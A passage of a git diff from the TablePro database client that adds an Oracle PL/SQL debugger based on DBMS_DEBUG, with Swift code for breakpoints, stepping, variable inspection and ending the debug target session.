gave the driver so the two + // cannot drift. Nil for a debug session. + var wedgedStatementLimit: Duration? { + state.withLock { current in + current.isReservedForDebugging ? nil : .seconds(max(Double(current.queryTimeoutSeconds), 300)) + } } - /// Answers whether this connection still works, without ever taking the channel away from - /// whoever is using it. - /// - /// A probe may close a channel only while it owns it. The old shape wrapped `executeQuery` in - /// a ten second deadline, and `executeQuery` opens by waiting on the query gate, so the - /// deadline covered the queue rather than the round trip: a probe that never got a turn fired - /// `disconnect()` into a healthy statement, which OracleNIO reports to that statement as - /// `clientClosedConnection` (#3053). - /// - /// A statement already in flight answers the question better than a probe could, so a busy - /// channel reads as alive. Past ``wedgedStatementSeconds`` it reads as wedged instead, which - /// is what keeps the app's own stale-query escape valve working. - /// - /// It asks OracleNIO directly rather than running `SELECT 1` through the app's statement path: - /// there is no transaction role to admit, no autocommit flag to choose, and no silent redial, - /// so a connection that has gone away reports that it has gone away instead of reporting the - /// health of a replacement nobody asked for. + // A probe closes the channel only while it owns it (#3053). A busy channel reads as alive until + // `wedgedStatementLimit`; OracleNIO is asked directly, so a dead connection is never replaced by a redial. public func ping() async throws { let turn = await queryGate.takeTurnIfFree() - switch OraclePingDecision.of(turn, wedgedAfter: .seconds(wedgedStatementSeconds)) { + switch OraclePingDecision.of(turn, wedgedAfter: wedgedStatementLimit) { case .reportAlive: return case .reportWedged: @@ -535,6 +535,9 @@ public final class OracleCoreConnection: @unchecked Sendable { guard state.withLock({ $0.hasEverConnected && $0.close.allowsReconnect }) else { throw OracleCoreError.notConnected } + if state.withLock({ $0.isReservedForDebugging }) { + throw OracleCoreError.connectionClosed + } osLogger.notice("Reconnecting to Oracle after the previous connection was closed") try await connect() @@ -617,6 +620,56 @@ public final class OracleCoreConnection: @unchecked Sendable { return answer.rows.first?.first.map { $0 != .null } ?? false } + // MARK: - Debugging + + // Runs one statement as given: no transaction bookkeeping, session zone read or redial, all of which would send + // PL/SQL of their own, and a session in DBMS_DEBUG mode stops at the first PL/SQL it runs. A statement that opens + // `:rows` returns that cursor's first column. + public func executeDirect( + _ sql: String, + binds: [OracleBindValue] = [], + autoCommit: Bool = false, + readsRows: Bool = false + ) async throws -> [String?] { + await queryGate.acquire() + do { + let connection = try requireConnection() + let rows = try await withQueryDeadline { [self] in + try await runDirect(sql, binds: binds, autoCommit: autoCommit, readsRows: readsRows, on: connection) + } + await queryGate.release() + return rows + } catch { + let mapped = mapExecutionError(error) + await queryGate.release() + throw mapped + } + } + + private func runDirect( + _ sql: String, + binds: [OracleBindValue], + autoCommit: Bool, + readsRows: Bool, + on connection: OracleNIO.OracleConnection + ) async throws -> [String?] { + var bindings = OracleBindValue.bindings(for: binds) + let options = StatementOptions(autoCommit: autoCommit) + guard readsRows else { + try await discardRows(OracleStatement(unsafeSQL: sql, binds: bindings), options: options, on: connection) + return [] + } + let cursorRef = OracleRef(dataType: .cursor) + bindings.append(cursorRef, bindName: OracleDebugPayload.cursorBindName, isReturning: false) + try await connection.execute(OracleStatement(unsafeSQL: sql, binds: bindings), options: options, logger: nioLogger) + let cursor = try cursorRef.decode(as: Cursor.self) + var rows: [String?] = [] + for try await row in try await cursor.execute(on: connection, logger: nioLogger) { + rows.append(try row.decode(String?.self)) + } + return rows + } + // MARK: - Server Output /// Turns `DBMS_OUTPUT` on for this session, and for every session a reconnect replaces it with, since the setting diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift new file mode 100644 index 0000000000..725f38aa2d --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugSession.swift @@ -0,0 +1,614 @@ +import Foundation +import OSLog + +private let logger = Logger(subsystem: "com.TablePro", category: "OracleDBMSDebugSession") + +// DBMS_DEBUG: the target runs the routine in debug mode and the supervisor drives it through DBMS_DEBUG calls. Both +// are client connections, so it works through every transport the app has, where JDWP needs the server to reach +// this Mac. Oracle documents it as deprecated since 12.2; it works on 23.26 (measured). +public actor OracleDBMSDebugSession: OracleDebugEngine { + nonisolated public let mechanism = OracleDebugMechanism.dbmsDebug + // break_any_return stops in the caller after the return (measured from a depth-3 frame). + nonisolated public let supportsStepOut = true + nonisolated public let notices: AsyncStream + private let noticeContinuation: AsyncStream.Continuation + + private enum State { + case ready + case running + case paused + case ended + } + + // What the supervisor last heard from the target. A wait whose answer never came or did not read leaves it unknown: + // the target may then be paused, waiting for the supervisor, while no step shows it. + private enum TargetPosition { + case running + case paused + case unknown + } + + private struct BreakpointKey: Hashable { + let unit: OracleDebugUnit + let line: Int + } + + private struct VisibleFrame { + let location: OracleDebugLocation + let subprogram: String? + // GET_VALUE's frame number: 0 for the running frame, else the PRINT_BACKTRACE index. + let valueFrame: Int + } + + private typealias Statements = OracleDBMSDebugStatements + + private let target: any OracleDebugChannel + private let supervisor: any OracleDebugChannel + private let entryPoint: OracleDebugEntryPoint + private let invocation: OracleDebugStatements.Invocation + private let callEndWait: Duration + + private var state = State.ready + private var targetPosition = TargetPosition.running + private var call: Task, Never>? + private var lastEvent: Statements.Event? + private var placed: [BreakpointKey: Int] = [:] + private var pending: Set = [] + private var holds = OracleDebugBreakpointHolds() + private var lineMaps: [OracleDebugUnit: [Int]] = [:] + private var scans: [OracleDebugUnit: OraclePLSQLDeclarationScan] = [:] + private var pinger: Task? + private var isDriving = false + private var stopRequested = false + private var isStopped = false + private var gaveUp = false + private var stopResult = OracleDebugStopResult.ended + private var targetIdentity: OracleDebugSessionIdentity? + private var callResult: Result<[String?], Error>? + private var stopWaiters: [CheckedContinuation] = [] + + init( + target: any OracleDebugChannel, + supervisor: any OracleDebugChannel, + entryPoint: OracleDebugEntryPoint, + invocation: OracleDebugStatements.Invocation, + callEndWait: Duration = OracleDebugSupport.callEndWait, + notices initial: [OracleDebugNotice] + ) { + self.target = target + self.supervisor = supervisor + self.entryPoint = entryPoint + self.invocation = invocation + self.callEndWait = callEndWait + (notices, noticeContinuation) = AsyncStream.makeStream(of: OracleDebugNotice.self) + for notice in initial { + noticeContinuation.yield(notice) + } + } + + // DEBUG_ON takes effect after its own call, so the next PL/SQL the target runs is the routine. + func start(breakpoints: [(unit: OracleDebugUnit, line: Int)]) async throws { + let debugID = "TP" + UUID().uuidString.replacingOccurrences(of: "-", with: "") + targetIdentity = await OracleDebugSupport.sessionIdentity(of: target) + let setup = Statements.targetSetup(debugID: debugID) + _ = try await target.executeDirect(setup.block, binds: setup.binds) + _ = try await supervisor.executeDirect(Statements.ownSchema) + let attach = Statements.attach(debugID: debugID) + _ = try await supervisor.executeDirect(attach.block, binds: attach.binds) + for breakpoint in breakpoints { + _ = try await setBreakpoint(in: breakpoint.unit, line: breakpoint.line, atStart: true) + } + } + + // MARK: - Running + + public func firstStop() async throws -> OracleDebugStop { + guard state == .ready else { throw OracleDebugError.notPaused } + if stopRequested { return .failed(.stopped) } + state = .running + let target = target + let invocation = invocation + let call = Task { () -> Result<[String?], Error> in + do { + return .success(try await target.executeDirect(invocation.block, binds: invocation.binds, readsRows: true)) + } catch { + return .failure(error) + } + } + self.call = call + Task { [weak self] in + let result = await call.value + await self?.markCallEnded(result) + } + isDriving = true + defer { isDriving = false } + return try await stoppedOnError { try await driveToEntry() } + } + + private func driveToEntry() async throws -> OracleDebugStop { + var event = try await wait(flags: nil) + guard event.isPause else { return await conclude() } + let (entryBreakpoints, entryLines) = try await placeEntryBreakpoints() + for key in pending { + pending.remove(key) + if let number = try await placeNow(key) { + placed[key] = number + } else { + holds.drop(key.line, in: key.unit) + noticeContinuation.yield(.breakpointHasNoCode(unit: key.unit, line: key.line)) + } + } + if entryBreakpoints.isEmpty { + event = try await stepToEntry(from: event) + } else { + // A person's breakpoint on the same header line can be the number that answers. + func isEntry(_ event: Statements.Event) -> Bool { + if entryBreakpoints.contains(event.breakpoint ?? -1) { return true } + guard let location = location(of: event) else { return false } + return location.unit == entryPoint.entry.unit && entryLines.contains(location.line) + } + repeat { + event = try await wait(flags: Statements.BreakFlags.breakpointsOnly) + } while event.isPause && !isEntry(event) && !stopRequested + let userNumbers = Set(placed.values) + let temporary = entryBreakpoints.subtracting(userNumbers) + if event.isPause, !temporary.isEmpty { + _ = try await supervisor.executeDirect(Statements.deleteBreakpoints(temporary.sorted())) + } + } + return await settle(event) + } + + // The header line of every overload with the entry point's name; DBMS_DEBUG accepts a breakpoint there and stops + // before the declarations run (measured). + private func placeEntryBreakpoints() async throws -> (numbers: Set, lines: Set) { + let unit = entryPoint.entry.unit + let headers: [Int] + if entryPoint.entry.isPackaged { + headers = try await scan(of: unit).headerLines(ofSubprogramNamed: entryPoint.entry.subprogram) + } else { + headers = [1] + } + let executable = try await executableLines(of: unit) + var numbers: Set = [] + var lines: Set = [] + for header in headers { + guard let line = executable.first(where: { $0 >= header }) else { continue } + lines.insert(line) + let fields = try await OracleDebugSupport.payload(Statements.setBreakpoint(unit: unit, line: line), on: supervisor) + let answer = try Statements.breakpointAnswer(fromPayload: fields) + if answer.status == Statements.Status.success, let number = answer.number { + numbers.insert(number) + } + } + return (numbers, lines) + } + + // Without a header line to stop at, step into calls until the entry point's own frame runs. + private func stepToEntry(from start: Statements.Event) async throws -> Statements.Event { + var event = start + for _ in 0..<10_000 where event.isPause && !stopRequested { + event = try await wait(flags: Statements.BreakFlags.anyCall) + if let top = event.backtrace.last, top.unit == entryPoint.entry.unit, + !entryPoint.entry.isPackaged || top.entryPoint?.uppercased() == entryPoint.entry.subprogram { + break + } + } + return event + } + + public func perform(_ command: OracleDebugCommand) async throws -> OracleDebugStop { + guard state == .paused, !stopRequested else { + if stopRequested { return .failed(.stopped) } + throw OracleDebugError.notPaused + } + state = .running + isDriving = true + defer { isDriving = false } + let flags: Int + switch command { + case .continueExecution: flags = Statements.BreakFlags.breakpointsOnly + case .stepOver: flags = Statements.BreakFlags.nextLine + case .stepInto: flags = Statements.BreakFlags.anyCall + case .stepOut: flags = Statements.BreakFlags.anyReturn + } + return try await stoppedOnError { await settle(try await wait(flags: flags)) } + } + + // A call Stop overlapped ends as stopped, whatever its own statements reported after the drivers closed. + private func stoppedOnError(_ body: () async throws -> OracleDebugStop) async throws -> OracleDebugStop { + do { + return try await body() + } catch { + if stopRequested { return await outcomeOfStop() } + throw error + } + } + + // A stop in the anonymous block that called the entry point has nothing to show, so it runs on. + private func settle(_ start: Statements.Event) async -> OracleDebugStop { + var event = start + while event.isPause, !stopRequested, location(of: event) == nil { + guard let next = try? await wait(flags: Statements.BreakFlags.breakpointsOnly) else { break } + event = next + } + if stopRequested, event.isPause { + _ = try? await resume(flags: Statements.BreakFlags.abortExecution) + } + guard event.isPause, !stopRequested, let location = location(of: event) else { + return await conclude() + } + lastEvent = event + state = .paused + return .paused(location) + } + + // One supervisor wait lasts `supervisorTimeoutSeconds`; between waits it checks for Stop and for the routine + // having ended, which a SYNCHRONIZE after the target finished would otherwise wait out. + private func wait(flags: Int?) async throws -> Statements.Event { + var event = try await resume(flags: flags) + while event.timedOut { + if gaveUp || callEnded || isStopped { + return event + } + event = try await resume(flags: nil) + } + if stopRequested, !isStopped, event.isPause { + event = try await resume(flags: Statements.BreakFlags.abortExecution) + } + return event + } + + private func resume(flags: Int?) async throws -> Statements.Event { + targetPosition = .unknown + let fields = try await OracleDebugSupport.payload(Statements.resume(flags: flags), on: supervisor) + let event = try Statements.event(fromPayload: fields) + targetPosition = event.isPause ? .paused : .running + // Here, not where a step reports its pause: a step that fails after the target paused leaves `state` running. + if event.isPause, !stopRequested { + startPinging() + } + return event + } + + private func markCallEnded(_ result: Result<[String?], Error>) { + callResult = result + } + + private var callEnded: Bool { callResult != nil } + + private var callEndedOnServer: Bool { callResult.map(OracleDebugSupport.endedOnServer) ?? false } + + private func location(of event: Statements.Event) -> OracleDebugLocation? { + guard let top = event.backtrace.last, let unit = top.unit, let line = event.line ?? top.line, line > 0 else { + return nil + } + return OracleDebugLocation(unit: unit, line: line) + } + + private func conclude() async -> OracleDebugStop { + stopPinging() + if stopRequested { + return await outcomeOfStop() + } + let result: Result<[String?], Error>? + if let call { + result = await OracleDebugSupport.value(of: call, within: OracleDebugStopBudget.seconds(callEndWait)) + } else { + result = .failure(OracleDebugError.ended) + } + var stop = await OracleDebugSupport.conclude( + result, + stopped: stopRequested, + entryPoint: entryPoint, + target: target, + targetIdentity: targetIdentity + ) { [noticeContinuation] in noticeContinuation.yield($0) } + if gaveUp { + stop = .failed(.stillRunning(targetIdentity)) + } + _ = try? await supervisor.executeDirect(Statements.detach) + state = .ended + noticeContinuation.finish() + return stop + } + + // Stop owns the cleanup and the drivers are the host's once it returns, so a waiting call only reports its result. + private func outcomeOfStop() async -> OracleDebugStop { + if !isStopped { + await withCheckedContinuation { stopWaiters.append($0) } + } + return gaveUp ? .failed(.stillRunning(targetIdentity)) : .failed(.stopped) + } + + // MARK: - Keeping the target alive + + // The target aborts itself after `targetTimeoutSeconds` without a word from the supervisor, which is what ends it + // if the app goes away. PING keeps it waiting while a person reads a pause. + private func startPinging() { + guard pinger == nil else { return } + pinger = Task { [weak self] in + while !Task.isCancelled { + try? await Task.sleep(nanoseconds: UInt64(Statements.pingIntervalSeconds) * 1_000_000_000) + guard !Task.isCancelled else { return } + await self?.pingIfPaused() + } + } + } + + private func stopPinging() { + pinger?.cancel() + pinger = nil + } + + private func pingIfPaused() async { + guard targetPosition == .paused, !isDriving, !stopRequested else { return } + do { + _ = try await supervisor.executeDirect(Statements.ping) + } catch { + logger.notice("DBMS_DEBUG ping failed: \(String(describing: type(of: error)), privacy: .public) \(String(describing: error), privacy: .private)") + } + } + + // MARK: - Breakpoints + + // A call Stop overlaps keeps the supervisor's gate until it finishes, then ends with Stop, not with what it read or + // failed to read from a closing connection. + private func readable(_ body: () async throws -> T) async throws -> T { + guard !stopRequested else { throw OracleDebugError.ended } + let value: T + do { + value = try await body() + } catch { + if stopRequested { throw OracleDebugError.ended } + throw error + } + if stopRequested { throw OracleDebugError.ended } + return value + } + + public func setBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? { + try await setBreakpoint(in: unit, line: line, atStart: false) + } + + private func setBreakpoint(in unit: OracleDebugUnit, line: Int, atStart: Bool) async throws -> Int? { + guard state != .ended else { throw OracleDebugError.ended } + guard let landed = try await readable({ try await placeBreakpoint(in: unit, line: line) }) else { return nil } + holds.hold(landed, in: unit, by: atStart ? line : landed) + return landed + } + + private func placeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws -> Int? { + let lines = try await executableLines(of: unit) + guard let resolved = lines.first(where: { $0 >= line }) else { return nil } + let key = BreakpointKey(unit: unit, line: resolved) + if placed[key] != nil || pending.contains(key) { return resolved } + // Before the target starts there is nothing for SET_BREAKPOINT to talk to. + guard state == .paused else { + pending.insert(key) + return resolved + } + guard let number = try await placeNow(key) else { return nil } + placed[key] = number + return resolved + } + + private func placeNow(_ key: BreakpointKey) async throws -> Int? { + let fields = try await OracleDebugSupport.payload( + Statements.setBreakpoint(unit: key.unit, line: key.line), + on: supervisor + ) + let answer = try Statements.breakpointAnswer(fromPayload: fields) + guard answer.status == Statements.Status.success else { return nil } + return answer.number + } + + public func removeBreakpoint(in unit: OracleDebugUnit, line: Int) async throws { + guard let landed = holds.release(line, in: unit) else { return } + let key = BreakpointKey(unit: unit, line: landed) + pending.remove(key) + guard let number = placed.removeValue(forKey: key), state == .paused else { return } + do { + try await readable { + _ = try await supervisor.executeDirect(Statements.deleteBreakpoints([number])) + } + } catch { + // Still set on the server, so removing it again has to find it. + holds.hold(landed, in: unit, by: line) + placed[key] = number + throw error + } + } + + private func executableLines(of unit: OracleDebugUnit) async throws -> [Int] { + if let lines = lineMaps[unit] { return lines } + let lines = try await OracleDebugSupport.executableLines(of: unit, on: supervisor) ?? [] + lineMaps[unit] = lines + return lines + } + + // MARK: - Inspection + + public func source(of unit: OracleDebugUnit) async throws -> String { + try await readable { try await OracleDebugSupport.source(of: unit, on: supervisor) } + } + + private func scan(of unit: OracleDebugUnit) async throws -> OraclePLSQLDeclarationScan { + if let scan = scans[unit] { return scan } + let scan = OraclePLSQLDeclarationScan(source: try await source(of: unit)) + scans[unit] = scan + return scan + } + + private var visibleFrames: [VisibleFrame] { + guard let event = lastEvent else { return [] } + var frames: [VisibleFrame] = [] + let count = event.backtrace.count + for (offset, frame) in event.backtrace.enumerated().reversed() { + guard let unit = frame.unit else { continue } + let isTop = offset == count - 1 + let line = isTop ? (event.line ?? frame.line ?? 0) : (frame.line ?? 0) + frames.append(VisibleFrame( + location: OracleDebugLocation(unit: unit, line: line), + subprogram: frame.entryPoint, + valueFrame: isTop ? 0 : offset + 1 + )) + } + return frames + } + + public func stack() async throws -> [OracleDebugFrame] { + guard !stopRequested else { throw OracleDebugError.ended } + guard state == .paused else { throw OracleDebugError.notPaused } + return visibleFrames.enumerated().map { level, frame in + OracleDebugFrame(level: level, location: frame.location, subprogram: frame.subprogram) + } + } + + public func variables(inFrame level: Int) async throws -> [OracleDebugVariable] { + guard state == .paused else { throw OracleDebugError.notPaused } + return try await readable { try await readVariables(inFrame: level) } + } + + private func readVariables(inFrame level: Int) async throws -> [OracleDebugVariable] { + let frames = visibleFrames + guard frames.indices.contains(level) else { return [] } + let frame = frames[level] + let unit = frame.location.unit + let candidates = (try? await scan(of: unit))?.candidates(atLine: frame.location.line) ?? [] + var requests = candidates.map { Statements.ValueRequest(name: $0.lookupName, frame: frame.valueFrame) } + var package: [(declaration: OraclePLSQLDeclarationScan.Declaration, unit: OracleDebugUnit)] = [] + if unit.kind == .packageBody || unit.kind == .package { + for kind in [OracleDebugUnitKind.packageBody, .package] { + let owner = OracleDebugUnit(owner: unit.owner, name: unit.name, kind: kind) + for declaration in (try? await scan(of: owner))?.packageVariables ?? [] { + package.append((declaration, owner)) + requests.append(Statements.ValueRequest(name: declaration.lookupName, package: owner)) + } + } + } + guard !requests.isEmpty else { return [] } + let values = Statements.values(requests) + let fields = try await OracleDebugSupport.payload(values.block, binds: values.binds, on: supervisor) + let answers = try Statements.valueAnswers(fromPayload: fields, count: requests.count) + var result: [OracleDebugVariable] = [] + for (index, answer) in answers.enumerated() { + let declaration = index < candidates.count ? candidates[index] : package[index - candidates.count].declaration + // GET_VALUE resolves a quoted name with a dot but not one with a space (measured), so that one is shown unreadable. + guard let value = Statements.value(status: answer.status, text: answer.value) + ?? (declaration.name.contains(where: \.isWhitespace) ? .unavailable : nil) + else { continue } + let kind: OracleDebugVariableKind + if index >= candidates.count { + kind = .package + } else { + kind = declaration.kind == .parameter ? .argument : .local + } + result.append(OracleDebugVariable( + name: declaration.name, + kind: kind, + typeName: declaration.typeText, + value: value, + isConstant: declaration.kind == .constant + )) + } + return result + } + + // MARK: - Stop + + // At a pause, abort_execution ends the routine with ORA-06543 and its work rolls back (measured). While it runs, + // the target reads nothing the supervisor sends, abort included (measured: SET_BREAKPOINT and the abort both + // timed out and the routine ran to its end), so Stop waits for its next stop or its end, for a bounded time. + // A step that failed may have left it paused, where only the abort ends it without ALTER SYSTEM. + public func stop() async -> OracleDebugStopResult { + if stopRequested { + if !isStopped { + await withCheckedContinuation { stopWaiters.append($0) } + } + return stopResult + } + stopRequested = true + stopPinging() + let clock = ContinuousClock() + let deadline = clock.now.advanced(by: OracleDebugStopBudget.total) + let endBy = deadline - OracleDebugStopBudget.cleanup + if let call { + var ended: Bool + if targetPosition != .running, !isDriving { + // A read Stop overlaps holds the supervisor's gate first; the abort waits for it at most half the budget. + await bounded(by: clock.now.advanced(by: OracleDebugStopBudget.total / 2), closing: supervisor) { _ in + _ = try? await self.resume(flags: Statements.BreakFlags.abortExecution) + } + ended = await callEnds(call, before: clock.now.advanced(by: .seconds(1))) + if !ended { + ended = await OracleDebugStopBudget.endRunningTarget(clock: clock, budget: clock.now.duration(to: endBy)) { + await killTarget(within: clock.now.duration(to: endBy)) + } waitForEnd: { remaining in + await callEnds(call, before: clock.now.advanced(by: remaining)) + } + } + } else { + ended = await OracleDebugStopBudget.endRunningTarget(clock: clock) { + await killTarget(within: clock.now.duration(to: endBy)) + } waitForEnd: { remaining in + await callEnds(call, before: clock.now.advanced(by: remaining)) + } + } + ended = ended || callEndedOnServer + if ended { + await bounded(by: deadline, closing: target) { target in + _ = try? await target.executeDirect("ROLLBACK") + } + } else { + gaveUp = true + } + stopResult = ended ? .ended : .unconfirmed(targetIdentity) + } else { + // Before the routine ran, the target only switched debug mode on; it holds no work. + stopResult = .ended + } + if !isDriving { + await bounded(by: deadline, closing: supervisor) { supervisor in + _ = try? await supervisor.executeDirect(Statements.detach) + } + } + state = .ended + noticeContinuation.finish() + isStopped = true + let waiters = stopWaiters + stopWaiters.removeAll() + for waiter in waiters { + waiter.resume() + } + return stopResult + } + + // A call that failed on its own connection ended only on this side, so Stop goes on as for one still running. + private func callEnds(_ call: Task, Never>, before deadline: ContinuousClock.Instant) async -> Bool { + let remaining = ContinuousClock.now.duration(to: deadline) + guard remaining > .zero else { return callEndedOnServer } + return await OracleDebugSupport.endedOnServer(call, within: OracleDebugStopBudget.seconds(remaining)) + } + + // A statement that would run past the budget has its channel closed, which is what ends it. + private func bounded( + by deadline: ContinuousClock.Instant, + closing connection: any OracleDebugChannel, + _ body: @escaping @Sendable (any OracleDebugChannel) async -> Void + ) async { + let remaining = ContinuousClock.now.duration(to: deadline) + guard remaining > .zero else { return } + _ = try? await withOracleTimeout( + seconds: OracleDebugStopBudget.seconds(remaining), + onTimeout: { connection.cancelCurrentQuery() } + ) { + await body(connection) + } + } + + // The supervisor waits at most `supervisorTimeoutSeconds` on the gate behind its own poll. + private func killTarget(within budget: Duration) async -> OracleDebugStopBudget.KillOutcome { + await OracleDebugSupport.kill(targetIdentity, from: supervisor, within: OracleDebugStopBudget.seconds(budget)) + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift new file mode 100644 index 0000000000..71d2c94848 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleDBMSDebugStatements.swift @@ -0,0 +1,382 @@ +import Foundation + +// DBMS_DEBUG's two sessions: the target runs the routine, the supervisor drives it. Every supervisor call is one +// block that answers through `OracleDebugPayload`, because the runtime_info and program_info records cannot be bound. +public enum OracleDBMSDebugStatements { + // DBMS_DEBUG's break flags. + public enum BreakFlags { + public static let breakpointsOnly = 0 + public static let nextLine = 32 + public static let anyCall = 12 + // Named backwards in the package (its own comment says so): this one stops in the caller after the return. + public static let anyReturn = 512 + public static let abortExecution = 8_192 + } + + public enum Status { + public static let success = 0 + public static let noSuchObject = 3 + public static let illegalLine = 12 + public static let badHandle = 16 + public static let indexedTable = 18 + public static let timeout = 31 + public static let nullValue = 32 + public static let nullCollection = 40 + } + + public enum Reason { + public static let interpreterStarting = 2 + public static let breakpoint = 3 + public static let knlExit = 25 + } + + // How long the target waits for the supervisor at a stop before it aborts itself. The supervisor pings it while + // the person reads a pause, so only a supervisor that went away lets it run out (measured: ORA-06543 after the + // timeout, its work rolled back). + public static let targetTimeoutSeconds = 30 + public static let pingIntervalSeconds = 10 + // How long one supervisor wait lasts before it returns to check for Stop and for the target's call ending. + // Also the longest Stop's kill waits on the gate behind a poll, inside its 3 second budget. + public static let supervisorTimeoutSeconds = 1 + + static let abortOnTimeout = 3 + static let infoFlags = 2 + 4 + 8 + + // MARK: - Target + + public static func targetSetup(debugID: String) -> (block: String, binds: [OracleBindValue]) { + let block = """ + DECLARE + l_id VARCHAR2(32767); + l_timeout BINARY_INTEGER; + BEGIN + EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.INITIALIZE(:1) INTO :2' USING :1, OUT l_id; + EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.SET_TIMEOUT_BEHAVIOUR(\(abortOnTimeout))'; + EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.SET_TIMEOUT(\(targetTimeoutSeconds)) INTO :1' USING OUT l_timeout; + EXECUTE IMMEDIATE 'CALL SYS.DBMS_DEBUG.DEBUG_ON()'; + END; + """ + return (block, [.text(debugID)]) + } + + // Read before DEBUG_ON, so the target's own PL/SQL does not stop it. DBMS_DEBUG_JDWP's functions answer for any + // user (EXECUTE is granted to PUBLIC, measured); V$SESSION needs SELECT_CATALOG_ROLE; the SID alone always works. + public static let sessionIdentityQueries = [ + """ + SELECT SYS.DBMS_DEBUG_JDWP.CURRENT_SESSION_ID, SYS.DBMS_DEBUG_JDWP.CURRENT_SESSION_SERIAL, \ + SYS_CONTEXT('USERENV', 'INSTANCE') FROM SYS.DUAL + """, + "SELECT SID, SERIAL#, SYS_CONTEXT('USERENV', 'INSTANCE') FROM SYS.V_$SESSION WHERE SID = SYS_CONTEXT('USERENV', 'SID')", + "SELECT SYS_CONTEXT('USERENV', 'SID'), NULL, SYS_CONTEXT('USERENV', 'INSTANCE') FROM SYS.DUAL" + ] + + public static func sessionIdentity(fromRow row: [String?]) -> OracleDebugSessionIdentity? { + func number(_ index: Int) -> Int? { + (row.count > index ? row[index] : nil).flatMap { Int($0.trimmingCharacters(in: .whitespaces)) } + } + guard let sid = number(0) else { return nil } + return OracleDebugSessionIdentity(sid: sid, serial: number(1), instance: number(2)) + } + + // Ends a target the supervisor cannot reach between breakpoints. Needs ALTER SYSTEM; ORA-01031 otherwise. + public static func killSession(_ identity: OracleDebugSessionIdentity) -> String? { + guard let serial = identity.serial else { return nil } + let instance = identity.instance.map { ",@\($0)" } ?? "" + return "ALTER SYSTEM KILL SESSION '\(identity.sid),\(serial)\(instance)' IMMEDIATE" + } + + // MARK: - Supervisor + + // The supervisor runs no code of the person's, so its schema can be its own, which keeps `SYS` meaning the schema + // in the blocks below. + public static let ownSchema = """ + BEGIN + EXECUTE IMMEDIATE 'ALTER SESSION SET CURRENT_SCHEMA = "' || REPLACE(SYS_CONTEXT('USERENV', 'SESSION_USER'), '"', '""') || '"'; + END; + """ + + public static func attach(debugID: String) -> (block: String, binds: [OracleBindValue]) { + let block = """ + DECLARE + l_timeout BINARY_INTEGER; + BEGIN + l_timeout := SYS.DBMS_DEBUG.SET_TIMEOUT(\(supervisorTimeoutSeconds)); + SYS.DBMS_DEBUG.ATTACH_SESSION(:1); + END; + """ + return (block, [.text(debugID)]) + } + + public static let detach = """ + BEGIN + SYS.DBMS_DEBUG.DETACH_SESSION; + END; + """ + + public static let ping = """ + BEGIN + SYS.DBMS_DEBUG.PING; + EXCEPTION + WHEN OTHERS THEN NULL; + END; + """ + + // `flags` nil synchronizes instead of continuing. A stop answers the runtime record and the backtrace in one round + // trip; a terminated program has no backtrace, and asking for one there raises inside SYS.PBREAK (measured). + public static func resume(flags: Int?) -> String { + let call = flags.map { "SYS.DBMS_DEBUG.CONTINUE(l_info, \($0), \(infoFlags))" } + ?? "SYS.DBMS_DEBUG.SYNCHRONIZE(l_info, \(infoFlags))" + return """ + DECLARE + l_info SYS.DBMS_DEBUG.RUNTIME_INFO; + l_trace SYS.DBMS_DEBUG.BACKTRACE_TABLE; + l_status BINARY_INTEGER; + \(OracleDebugPayload.declarations) + BEGIN + l_status := \(call); + put(TO_CHAR(l_status)); + put(TO_CHAR(l_info.Reason)); + put(TO_CHAR(l_info.Terminated)); + put(TO_CHAR(l_info.Line#)); + put(TO_CHAR(l_info.Breakpoint)); + IF l_status = 0 AND NVL(l_info.Terminated, 0) = 0 THEN + SYS.DBMS_DEBUG.PRINT_BACKTRACE(l_trace); + put(TO_CHAR(l_trace.COUNT)); + FOR i IN 1 .. l_trace.COUNT LOOP + put(l_trace(i).Owner); + put(l_trace(i).Name); + put(TO_CHAR(l_trace(i).Namespace)); + put(TO_CHAR(l_trace(i).LibunitType)); + put(TO_CHAR(l_trace(i).Line#)); + put(l_trace(i).EntrypointName); + END LOOP; + ELSE + put('0'); + END IF; + \(OracleDebugPayload.openCursor) + END; + """ + } + + public static func setBreakpoint(unit: OracleDebugUnit, line: Int) -> String { + """ + DECLARE + l_program SYS.DBMS_DEBUG.PROGRAM_INFO; + l_number BINARY_INTEGER; + l_status BINARY_INTEGER; + \(OracleDebugPayload.declarations) + BEGIN + l_program.Namespace := \(unit.kind.namespace); + l_program.Owner := \(OracleDebugUnit.literal(unit.owner)); + l_program.Name := \(OracleDebugUnit.literal(unit.name)); + l_program.Line# := \(line); + l_status := SYS.DBMS_DEBUG.SET_BREAKPOINT(l_program, \(line), l_number); + put(TO_CHAR(l_status)); + put(TO_CHAR(l_number)); + \(OracleDebugPayload.openCursor) + END; + """ + } + + public static func deleteBreakpoints(_ numbers: [Int]) -> String { + let calls = numbers.map { " l_status := SYS.DBMS_DEBUG.DELETE_BREAKPOINT(\($0));" }.joined(separator: "\n") + return """ + DECLARE + l_status BINARY_INTEGER; + BEGIN + \(calls.isEmpty ? " NULL;" : calls) + END; + """ + } + + // GET_LINE_MAP answers from any session, before or without ATTACH_SESSION (measured), so it also places JDWP + // breakpoints in a unit that has not loaded yet. + public static func lineMap(of unit: OracleDebugUnit) -> String { + """ + DECLARE + l_program SYS.DBMS_DEBUG.PROGRAM_INFO; + l_max BINARY_INTEGER; + l_entries BINARY_INTEGER; + l_map RAW(32767); + l_status BINARY_INTEGER; + \(OracleDebugPayload.declarations) + BEGIN + l_program.Namespace := \(unit.kind.namespace); + l_program.Owner := \(OracleDebugUnit.literal(unit.owner)); + l_program.Name := \(OracleDebugUnit.literal(unit.name)); + l_status := SYS.DBMS_DEBUG.GET_LINE_MAP(l_program, l_max, l_entries, l_map); + put(TO_CHAR(l_status)); + put(TO_CHAR(l_max)); + put(RAWTOHEX(l_map)); + \(OracleDebugPayload.openCursor) + END; + """ + } + 